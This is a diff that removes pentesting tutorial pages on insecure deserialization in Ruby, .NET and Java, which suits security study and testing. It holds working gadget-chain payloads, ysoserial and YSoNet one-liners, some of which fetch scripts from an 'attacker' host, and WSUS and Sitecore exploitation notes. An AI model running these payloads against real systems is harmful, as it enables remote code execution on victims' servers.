-There are other Ruby libraries that can be used to serialize objects and therefore that could be abused to gain RCE during an insecure deserialization. The following table shows some of these libraries and the method they called of the loaded library whenever it's unserialized (function to abuse to get RCE basically):
-
-<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Library</strong></td><td><strong>Input data</strong></td><td><strong>Kick-off method inside class</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binary</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (class needs to be put into hash(map) as key)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (class needs to be put into hash(map) as key)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (class needs to be put into hash(map) as key)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([see notes regarding json_create at end](#table-vulnerable-sinks))</td></tr></tbody></table>
-
-Basic example:
-
-```ruby
-# Existing Ruby class inside the code of the app
-class SimpleClass
-  def initialize(cmd)
-    @cmd = cmd
-  end
-
-  def hash
-    system(@cmd)
-  end
-end
-
-# Exploit
-require 'oj'
-simple = SimpleClass.new("open -a calculator") # command for macOS
-json_payload = Oj.dump(simple)
-puts json_payload
-
-# Sink vulnerable inside the code accepting user input as json_payload
-Oj.load(json_payload)
-```
-
-In the case of trying to abuse Oj, it was possible to find a gadget class that inside its `hash` function will call `to_s`, which will call spec, which will call fetch_path which was possible to make it fetch a random URL, giving a great detector of these kind of unsanitized deserialization vulnerabilities.
-
-```json
-{
-  "^o": "URI::HTTP",
-  "scheme": "s3",
-  "host": "example.org/anyurl?",
-  "port": "anyport",
-  "path": "/",
-  "user": "anyuser",
-  "password": "anypw"
-}
-```
-
-Moreover, it was found that with the previous technique a folder is also created in the system, which is a requirement to abuse another gadget in order to transform this into a complete RCE with something like:
-
-```json
-{
-  "^o": "Gem::Resolver::SpecSpecification",
-  "spec": {
-    "^o": "Gem::Resolver::GitSpecification",
-    "source": {
-      "^o": "Gem::Source::Git",
-      "git": "zip",
-      "reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
-      "root_dir": "/tmp",
-      "repository": "anyrepo",
-      "name": "anyname"
-    },
-    "spec": {
-      "^o": "Gem::Resolver::Specification",
-      "name": "name",
-      "dependencies": []
-    }
-  }
-}
-```
-
-Check for more details in the [**original post**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
-
-### Bootstrap Caching
-
-Not really a desearilization vuln but a nice trick to abuse bootstrap caching to to get RCE from a rails application with an arbitrary file write (find the complete [original post in here](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)).
-
-Below is a short summary of the steps detailed in the article for exploiting an arbitrary file write vulnerability by abusing Bootsnap caching:
-
-- Identify the Vulnerability and Environment
-
-The Rails app’s file upload functionality lets an attacker write files arbitrarily. Although the app runs with restrictions (only certain directories like tmp are writable due to Docker’s non-root user), this still allows writing to the Bootsnap cache directory (typically under tmp/cache/bootsnap).
-
-- Understand Bootsnap’s Cache Mechanism
-
-Bootsnap speeds up Rails boot times by caching compiled Ruby code, YAML, and JSON files. It stores cache files that include a cache key header (with fields like Ruby version, file size, mtime, compile options, etc.) followed by the compiled code. This header is used to validate the cache during app startup.
-
-- Gather File Metadata
-
-The attacker first selects a target file that is likely loaded during Rails startup (for example, set.rb from Ruby’s standard library). By executing Ruby code inside the container, they extract critical metadata (such as RUBY_VERSION, RUBY_REVISION, size, mtime, and compile_option). This data is essential for crafting a valid cache key.
-
-- Compute the Cache File Path
-
-By replicating Bootsnap’s FNV-1a 64-bit hash mechanism, the correct cache file path is determined. This step ensures that the malicious cache file is placed exactly where Bootsnap expects it (e.g., under tmp/cache/bootsnap/compile-cache-iseq/).
-
-- Craft the Malicious Cache File
-
-The attacker prepares a payload that:
-
-  - Executes arbitrary commands (for example, running id to show process info).
-  - Removes the malicious cache after execution to prevent recursive exploitation.
-  - Loads the original file (e.g., set.rb) to avoid crashing the application.
-
-This payload is compiled into binary Ruby code and concatenated with a carefully constructed cache key header (using the previously gathered metadata and the correct version number for Bootsnap).
-
-- Overwrite and Trigger Execution
-Using the arbitrary file write vulnerability, the attacker writes the crafted cache file to the computed location. Next, they trigger a server restart (by writing to tmp/restart.txt, which is monitored by Puma). During restart, when Rails requires the targeted file, the malicious cache file is loaded, resulting in remote code execution (RCE).
-
-
-
-### Ruby Marshal exploitation in practice (updated)
-
-Treat any path where untrusted bytes reach `Marshal.load`/`marshal_load` as an RCE sink. Marshal reconstructs arbitrary object graphs and triggers library/gem callbacks during materialization.
-
-
-- Minimal vulnerable Rails code path:
-
-
-```ruby
-class UserRestoreController < ApplicationController
-  def show
-    user_data = params[:data]
-    if user_data.present?
-      deserialized_user = Marshal.load(Base64.decode64(user_data))
-      render plain: "OK: #{deserialized_user.inspect}"
-    else
-      render plain: "No data", status: :bad_request
-    end
-  end
-end
-```
-
-- Common gadget classes seen in real chains: `Gem::SpecFetcher`, `Gem::Version`, `Gem::RequestSet::Lockfile`, `Gem::Resolver::GitSpecification`, `Gem::Source::Git`.
-- Typical side-effect marker embedded in payloads (executed during unmarshal):
-
-```
-*-TmTT="$(id>/tmp/marshal-poc)"any.zip
-```
-
-Where it surfaces in real apps:
-- Rails cache stores and session stores historically using Marshal
-- Background job backends and file-backed object stores
-- Any custom persistence or transport of binary object blobs
-
-Industrialized gadget discovery:
-- Grep for constructors, `hash`, `_load`, `init_with`, or side-effectful methods invoked during unmarshal
-- Use CodeQL’s Ruby unsafe deserialization queries to trace sources → sinks and surface gadgets
-- Validate with public multi-format PoCs (JSON/XML/YAML/Marshal)
-
-
-## References
-
-- Trail of Bits – Marshal madness: A brief history of Ruby deserialization exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
-- elttam – Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/
-- Phrack #69 – Rails 3/4 Marshal chain: https://phrack.org/issues/69/12.html
-- CVE-2019-5420 (Rails 5.2 insecure deserialization): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
-- ZDI – RCE via Ruby on Rails Active Storage insecure deserialization: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
-- Include Security – Discovering gadget chains in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
-- GitHub Security Lab – Ruby unsafe deserialization (query help): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
-- GitHub Security Lab – PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
-- Doyensec PR – Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
-- Luke Jahnke – Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3.4-deserialization.html
-- Luke Jahnke – Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html
-- Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
-- Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
-- Trail of Bits – Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
-- watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035: https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/
-- [OffSec – CVE-2025-59287 WSUS unsafe deserialization (blog)](https://www.offsec.com/blog/recent-vulnerabilities-in-redis-servers-lua-scripting-engine-2/)
-- [PoC – tecxx/CVE-2025-59287-WSUS](https://github.com/tecxx/CVE-2025-59287-WSUS)
-- [RSC Report Lab – CVE-2025-55182 (React 19.2.0)](https://github.com/ghe770mvp/RSC_Vuln_Lab)
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md b/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
deleted file mode 100644
index c7ed56f6508..00000000000
--- a/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
+++ /dev/null
@@ -1,357 +0,0 @@
-# Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
-
-{{#include ../../banners/hacktricks-training.md}}
-
-This post is dedicated to **understand how the gadget ObjectDataProvider is exploited** to obtain RCE and **how** the serialization libraries **Json.Net and XmlSerializer can be abused** with that gadget.
-
-## ObjectDataProvider Gadget
-
-From the documentation: _the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source_.\
-Yeah, it's a weird explanation, so lets see what does this class have that is so interesting: This class allows to **wrap an arbitrary object**, use _**MethodParameters**_ to **set arbitrary parameters,** and then **use MethodName to call an arbitrary function** of the arbitrary object declared using the arbitrary parameters.\
-Therefore, the arbitrary **object** will **execute** a **function** with **parameters while being deserialized.**
-
-### **How is this possible**
-
-The **System.Windows.Data** namespace, found within the **PresentationFramework.dll** at `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, is where the ObjectDataProvider is defined and implemented.
-
-Using [**dnSpy**](https://github.com/0xd4d/dnSpy) you can **inspect the code** of the class we are interested in. In the image below we are seeing the code of **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name**
-
-![ObjectDataProvider Gadget - How is this possible: Using dnSpy you can inspect the code of the class we are interested in. In the image below we are seeing the code of...](<../../images/image (427).png>)
-
-As you can observe when `MethodName` is set `base.Refresh()` is called, lets take a look to what does it do:
-
-![ObjectDataProvider Gadget - How is this possible: As you can observe when MethodName is set base.Refresh() is called, lets take a look to what does it do](<../../images/image (319).png>)
-
-Ok, lets continue seeing what does `this.BeginQuery()` does. `BeginQuery` is overridden by `ObjectDataProvider` and this is what it does:
-
-![ObjectDataProvider Gadget - How is this possible: Ok, lets continue seeing what does this.BeginQuery() does. BeginQuery is overridden by ObjectDataProvider and this is what it does](<../../images/image (345).png>)
-
-Note that at the end of the code it's calling `this.QueryWorke(null)`. Let's see what does that execute:
-
-![ObjectDataProvider Gadget - How is this possible: Note that at the end of the code it's calling this.QueryWorke(null). Let's see what does that execute](<../../images/image (596).png>)
-
-Note that this isn't the complete code of the function `QueryWorker` but it shows the interesting part of it: The code **calls `this.InvokeMethodOnInstance(out ex);`** this is the line where the **method set is invoked**.
-
-If you want to check that just setting the _**MethodName**_** it will be executed**, you can run this code:
-
-<details>
-<summary>C# demo: ObjectDataProvider triggers Process.Start</summary>
-
-```csharp
-using System.Windows.Data;
-using System.Diagnostics;
-
-namespace ODPCustomSerialExample
-{
-    class Program
-    {
-        static void Main(string[] args)
-        {
-            ObjectDataProvider myODP = new ObjectDataProvider();
-            myODP.ObjectType = typeof(Process);
-            myODP.MethodParameters.Add("cmd.exe");
-            myODP.MethodParameters.Add("/c calc.exe");
-            myODP.MethodName = "Start";
-        }
-    }
-}
-```
-
-</details>
-
-Note that you need to add as reference _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ in order to load `System.Windows.Data`
-
-## ExpandedWrapper
-
-Using the previous exploit there will be cases where the **object** is going to be **deserialized as** an _**ObjectDataProvider**_ instance (for example in DotNetNuke vuln, using XmlSerializer, the object was deserialized using `GetType`). Then, will have **no knowledge of the object type that is wrapped** in the _ObjectDataProvider_ instance (`Process` for example). You can find more [information about the DotNetNuke vuln here](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
-
-This class allows to s**pecify the object types of the objects that are encapsulated** in a given instance. So, this class can be used to encapsulate a source object (_ObjectDataProvider_) into a new object type and provide the properties we need (_ObjectDataProvider.MethodName_ and _ObjectDataProvider.MethodParameters_).\
-This is very useful for cases as the one presented before, because we will be able to **wrap \_ObjectDataProvider**_** inside an **_**ExpandedWrapper** \_ instance and **when deserialized** this class will **create** the _**OjectDataProvider**_ object that will **execute** the **function** indicated in _**MethodName**_.
-
-You can check this wrapper with the following code:
-
-<details>
-<summary>C# demo: ExpandedWrapper encapsulating ObjectDataProvider</summary>
-
-```csharp
-using System.Windows.Data;
-using System.Diagnostics;
-using System.Data.Services.Internal;
-
-namespace ODPCustomSerialExample
-{
-    class Program
-    {
-        static void Main(string[] args)
-        {
-            ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
-            myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
-            myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
-            myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
-            myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
-            myExpWrap.ProjectedProperty0.MethodName = "Start";
-        }
-    }
-}
-```
-
-</details>
-
-### XmlSerializer + ExpandedWrapper in real targets
-
-A very common vulnerable pattern is something like:
-
-```csharp
-Type t = Type.GetType(attackerControlledType);
-XmlSerializer xs = new XmlSerializer(t);
-object obj = xs.Deserialize(reader);
-```
-
-If the attacker controls both the **type name** and the **XML body**, `ExpandedWrapper<..., ObjectDataProvider>` can make `XmlSerializer` materialise an `ObjectDataProvider` in `ProjectedProperty0`. This is why **ExpandedWrapper** keeps showing up in real-world .NET deserialization bugs: the vulnerable code does **not** need to deserialize `Process` or `ObjectDataProvider` directly, it only needs to let the attacker pick a root type that `XmlSerializer` can instantiate.
-
-A practical example is the historical **DotNetNuke `DNNPersonalization`** cookie bug, where attacker-controlled XML was deserialized after resolving the type with `Type.GetType(...)`. A minimal payload shape looks like:
-
-```xml
-<profile>
-  <item key="name1:key1" type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
-    <ExpandedWrapperOfFileSystemUtilsObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
-      <ExpandedElement/>
-      <ProjectedProperty0>
-        <MethodName>WriteFile</MethodName>
-        <MethodParameters><anyType xsi:type="xsd:string">C:/windows/win.ini</anyType></MethodParameters>
-        <ObjectInstance xsi:type="FileSystemUtils"/>
-      </ProjectedProperty0>
-    </ExpandedWrapperOfFileSystemUtilsObjectDataProvider>
-  </item>
-</profile>
-```
-
-This is the same primitive described in the first half of this page: `XmlSerializer` reconstructs the `ExpandedWrapper`, that wrapper reconstructs `ObjectDataProvider`, and setting `MethodName` / `MethodParameters` gives the attacker a controllable method invocation.
-
-## Json.Net
-
-In the [official web page](https://www.newtonsoft.com/json) it is indicated that this library allows to **Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer**. So, if we could **deserialize the ObjectDataProvider gadget**, we could cause a **RCE** just deserializing an object.
-
-### Json.Net example
-
-First of all lets see an example on how to **serialize/deserialize** an object using this library:
-
-<details>
-<summary>C# demo: Json.NET serialize/deserialize</summary>
-
-```csharp
-using System;
-using Newtonsoft.Json;
-using System.Diagnostics;
-using System.Collections.Generic;
-
-namespace DeserializationTests
-{
-    public class Account
-    {
-        public string Email { get; set; }
-        public bool Active { get; set; }
-        public DateTime CreatedDate { get; set; }
-        public IList<string> Roles { get; set; }
-    }
-    class Program
-    {
-        static void Main(string[] args)
-        {
-            Account account = new Account
-            {
-                Email = "james@example.com",
-                Active = true,
-                CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
-                Roles = new List<string>
-                {
-                    "User",
-                    "Admin"
-                }
-            };
-            //Serialize the object and print it
-            string json = JsonConvert.SerializeObject(account);
-            Console.WriteLine(json);
-            //{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
-
-            //Deserialize it
-            Account desaccount = JsonConvert.DeserializeObject<Account>(json);
-            Console.WriteLine(desaccount.Email);
-        }
-    }
-}
-```
-
-</details>
-
-### Abusing Json.Net
-
-Using [ysoserial.net](https://github.com/pwntester/ysoserial.net) I created the exploit:
-
-```text
-ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
-{
-    '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
-    'MethodName':'Start',
-    'MethodParameters':{
-        '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
-        '$values':['cmd', '/c calc.exe']
-    },
-    'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
-}
-```
-
-In this code you can **test the exploit**, just run it and you will see that a calc is executed:
-
-<details>
-<summary>C# demo: Json.NET ObjectDataProvider exploitation PoC</summary>
-
-```csharp
-using System;
-using System.Text;
-using Newtonsoft.Json;
-
-namespace DeserializationTests
-{
-    class Program
-    {
-        static void Main(string[] args)
-        {
-            //Declare exploit
-            string userdata = @"{
-                '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
-                'MethodName':'Start',
-                'MethodParameters':{
-                            '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
-                    '$values':['cmd', '/c calc.exe']
-                },
-                'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
-            }";
-            //Exploit to base64
-            string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
-
-            //Get data from base64
-            byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
-            //Deserialize data
-            string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
-            object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
-            {
-                TypeNameHandling = TypeNameHandling.Auto
-            });
-        }
-    }
-}
-```
-
-</details>
-
-### Json.NET exploitation prerequisites
-
-Before assuming that `$type` is enough for RCE, quickly verify these conditions:
-
-- The application must deserialize **attacker-controlled JSON** with `TypeNameHandling` different from `None` (`Auto`, `Objects`, or `All` are the usual dangerous values).
-- If the target uses a restrictive `SerializationBinder` / `ISerializationBinder`, arbitrary gadget resolution may be blocked even when `TypeNameHandling` is enabled.
-- `ObjectDataProvider` is a **WPF gadget** from `PresentationFramework.dll`, so it is much more common in **Windows / .NET Framework / desktop-enabled** targets than in minimal ASP.NET Core deployments.
-- If the sink deserializes into a fixed DTO and never honours attacker-controlled type metadata, switch to another gadget or another formatter instead of forcing `ObjectDataProvider`.
-
-## Advanced .NET Gadget Chains (YSoNet & ysoserial.net)
-
-The ObjectDataProvider + ExpandedWrapper technique introduced above is only one of MANY gadget chains that can be abused when an application performs **unsafe .NET deserialization**.  Modern red-team tooling such as **[YSoNet](https://github.com/irsdl/ysonet)** (and the older [ysoserial.net](https://github.com/pwntester/ysoserial.net)) automate the creation of **ready-to-use malicious object graphs** for dozens of gadgets and serialization formats.
-
-Below is a condensed reference of the most useful chains shipped with *YSoNet* together with a quick explanation of how they work and example commands to generate the payloads.
-
-| Gadget Chain | Key Idea / Primitive | Common Serializers | YSoNet one-liner |
-|--------------|----------------------|--------------------|------------------|
-| **TypeConfuseDelegate** | Corrupts the `DelegateSerializationHolder` record so that, once materialised, the delegate points to *any* attacker supplied method (e.g. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
-| **ActivitySurrogateSelector** | Abuses `System.Workflow.ComponentModel.ActivitySurrogateSelector` to *bypass .NET ≥4.8 type-filtering* and directly invoke the **constructor** of a provided class or **compile** a C# file on the fly | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
-| **DataSetOldBehaviour** | Leverages the **legacy XML** representation of `System.Data.DataSet` to instantiate arbitrary types by filling the `<ColumnMapping>` / `<DataType>` fields (optionally faking the assembly with `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
-| **GetterCompilerResults** | On WPF-enabled runtimes (> .NET 5) chains property getters until reaching `System.CodeDom.Compiler.CompilerResults`, then *loads* a DLL supplied with `-c` | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c "C:\Temp\loader.dll" > payload.json` |
-| **BaseActivationFactory** | Newer Json.NET chain for **.NET 5/6/7 with WPF enabled** that reaches `WinRT.BaseActivationFactory` and causes local/UNC native DLL loading | `Json.NET` | `ysonet.exe -g BaseActivationFactory -f Json.NET -c "C:\Temp\poc.dll" > payload.json` |
-| **ObjectDataProvider** (review) | Uses WPF `System.Windows.Data.ObjectDataProvider` to call an arbitrary static method with controlled arguments.  YSoNet adds a convenient `--xamlurl` variant to host the malicious XAML remotely | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
-| **PSObject (CVE-2017-8565)** | Embeds `ScriptBlock` into `System.Management.Automation.PSObject` that executes when PowerShell deserialises the object | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
-
-> [!TIP]
-> All payloads are **written to *stdout*** by default, making it trivial to pipe them into other tooling (e.g. ViewState generators, base64 encoders, HTTP clients).
-
-For this specific page, the important takeaway is that **YSoNet's `ObjectDataProvider` generator is not limited to Json.NET**. It currently supports several other interesting sinks, including **`XmlSerializer (2)`**, **`JavaScriptSerializer`**, **`Xaml (4)`**, and **`DataContractSerializer (2)`**, so the same gadget is reusable even when `$type` injection is not happening through JSON.
-
-### Building / Installing YSoNet
-
-If no pre-compiled binaries are available under *Actions ➜ Artifacts* / *Releases*, the following **PowerShell** one-liner will set up a build environment, clone the repository and compile everything in *Release* mode:
-
-```powershell
-Set-ExecutionPolicy Bypass -Scope Process -Force;
-[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
-iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
-choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;
-
-git clone https://github.com/irsdl/ysonet
-cd ysonet
-nuget restore ysonet.sln
-msbuild ysonet.sln -p:Configuration=Release
-```
-
-The compiled `ysonet.exe` can then be found under `ysonet/bin/Release/`.
-
-## Real‑world sink: Sitecore convertToRuntimeHtml → BinaryFormatter
-
-A practical .NET sink reachable in authenticated Sitecore XP Content Editor flows:
-
-- Sink API: `Sitecore.Convert.Base64ToObject(string)` wraps `new BinaryFormatter().Deserialize(...)`.
-- Trigger path: pipeline `convertToRuntimeHtml` → `ConvertWebControls`, which searches for a sibling element with `id="{iframeId}_inner"` and reads a `value` attribute that is treated as base64‐encoded serialized data. The result is cast to string and inserted into the HTML.
-
-<details>
-<summary>Authenticated Sitecore sink trigger HTTP flow</summary>
-
-```text
-// Load HTML into EditHtml session
-POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
-Content-Type: application/x-www-form-urlencoded
-
-__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
-<html>
-  <iframe id="test" src="poc"></iframe>
-  <dummy id="test_inner" value="BASE64_BINARYFORMATTER"></dummy>
-</html>
-
-// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
-GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
-```
-
-</details>
-
-- Gadget: any BinaryFormatter chain returning a string (side‑effects run during deserialization). See YSoNet/ysoserial.net to generate payloads.
-
-For a full chain that starts pre‑auth with HTML cache poisoning in Sitecore and leads to this sink:
-
-{{#ref}}
-../../network-services-pentesting/pentesting-web/sitecore/README.md
-{{#endref}}
-
-## Case study: WSUS unsafe .NET deserialization (CVE-2025-59287)
-
-- Product/role: Windows Server Update Services (WSUS) role on Windows Server 2012 → 2025.
-- Attack surface: IIS-hosted WSUS endpoints over HTTP/HTTPS on TCP 8530/8531 (often exposed internally; Internet exposure is high risk).
-- Root cause: Unauthenticated deserialization of attacker-controlled data using legacy formatters:
-  - `GetCookie()` endpoint deserializes an `AuthorizationCookie` with `BinaryFormatter`.
-  - `ReportingWebService` performs unsafe deserialization via `SoapFormatter`.
-- Impact: A crafted serialized object triggers a gadget chain during deserialization, leading to arbitrary code execution as `NT AUTHORITY\SYSTEM` under either the WSUS service (`wsusservice.exe`) or the IIS app pool `wsuspool` (`w3wp.exe`).
-
-Practical exploitation notes
-- Discovery: Scan for WSUS on TCP 8530/8531. Treat any pre-auth serialized blob reaching WSUS web methods as a potential sink for `BinaryFormatter`/`SoapFormatter` payloads.
-- Payloads: Use YSoNet/ysoserial.net to generate `BinaryFormatter` or `SoapFormatter` chains (e.g., `TypeConfuseDelegate`, `ActivitySurrogateSelector`, `ObjectDataProvider`).
-- Expected process lineage on success:
-  - `wsusservice.exe -> cmd.exe -> cmd.exe -> powershell.exe`
-  - `w3wp.exe (wsuspool) -> cmd.exe -> cmd.exe -> powershell.exe`
-
-## References
-- [YSoNet – .NET Deserialization Payload Generator](https://github.com/irsdl/ysonet)
-- [ysoserial.net – original PoC tool](https://github.com/pwntester/ysoserial.net)
-- [Microsoft – CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565)
-- [watchTowr Labs – Sitecore XP cache poisoning → RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
-- [Unit 42 – Microsoft WSUS RCE (CVE-2025-59287) actively exploited](https://unit42.paloaltonetworks.com/microsoft-cve-2025-59287/)
-- [MSRC – CVE-2025-59287 advisory](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59287)
-- [NVD – CVE-2025-59287](https://nvd.nist.gov/vuln/detail/CVE-2025-59287)
-- [Json.NET – Serialization Settings (`TypeNameHandling` and `SerializationBinder` warning)](https://www.newtonsoft.com/json/help/html/serializationsettings.htm)
-- [nefariousplan – CVE-2017-9822: The Patch Encrypted the Cookie. The Deserializer Is Still Public.](https://nefariousplan.com/posts/dotnetnuke-cve-2017-9822-deserializer-still-public)
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.md b/src/pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.md
deleted file mode 100644
index 2216aef523d..00000000000
--- a/src/pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.md
+++ /dev/null
@@ -1,173 +0,0 @@
-# Basic Java Deserialization with ObjectInputStream readObject
-
-{{#include ../../banners/hacktricks-training.md}}
-
-In this POST it's going to be explained an example using `java.io.Serializable` **and why overriding `readObject()` can be extremely dangerous if the incoming stream is attacker-controlled**.
-
-## Serializable
-
-The Java `Serializable` interface (`java.io.Serializable`) is a marker interface your classes must implement if they are to be **serialized** and **deserialized**. Java object serialization (writing) is done with the [`ObjectOutputStream`](http://tutorials.jenkov.com/java-io/objectoutputstream.html) and deserialization (reading) is done with the [`ObjectInputStream`](http://tutorials.jenkov.com/java-io/objectinputstream.html).
-
-### Reminder: Which methods are implicitly invoked during deserialization?
-
-1. `readObject()` – class-specific read logic (if implemented and *private*).
-2. `readResolve()` – can replace the deserialized object with another one.
-3. `validateObject()` – via `ObjectInputValidation` callbacks.
-4. `readExternal()` – for classes implementing `Externalizable`.
-5. Constructors are **not** executed – therefore gadget chains rely exclusively on the previous callbacks.
-
-Any method in that chain that ends up invoking attacker-controlled data (command execution, JNDI lookups, reflection, etc.) turns the deserialization routine into an RCE gadget.
-
-Lets see an example with a **class Person** which is **serializable**. This class **overwrites the readObject** function, so when **any object** of this **class** is **deserialized** this **function** is going to be **executed**.\
-In the example, the **readObject** function of the class Person calls the function `eat()` of his pet and the function `eat()` of a Dog (for some reason) calls a **calc.exe**. **We are going to see how to serialize and deserialize a Person object to execute this calculator:**
-
-**The following example is from <https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649>**
-
-```java
-import java.io.Serializable;
-import java.io.*;
-
-public class TestDeserialization {
-    interface Animal {
-        public void eat();
-    }
-    //Class must implements Serializable to be serializable
-    public static class Cat implements Animal,Serializable {
-        @Override
-        public void eat() {
-            System.out.println("cat eat fish");
-        }
-    }
-    //Class must implements Serializable to be serializable
-    public static class Dog implements Animal,Serializable {
-        @Override
-        public void eat() {
-            try {
-                Runtime.getRuntime().exec("calc");
-            } catch (IOException e) {
-                e.printStackTrace();
-            }
-            System.out.println("dog eat bone");
-        }
-    }
-    //Class must implements Serializable to be serializable
-    public static class Person implements Serializable {
-        private Animal pet;
-        public Person(Animal pet){
-            this.pet = pet;
-        }
-        //readObject implementation, will call the readObject from ObjectInputStream  and then call pet.eat()
-        private void readObject(java.io.ObjectInputStream stream)
-                throws IOException, ClassNotFoundException {
-            pet = (Animal) stream.readObject();
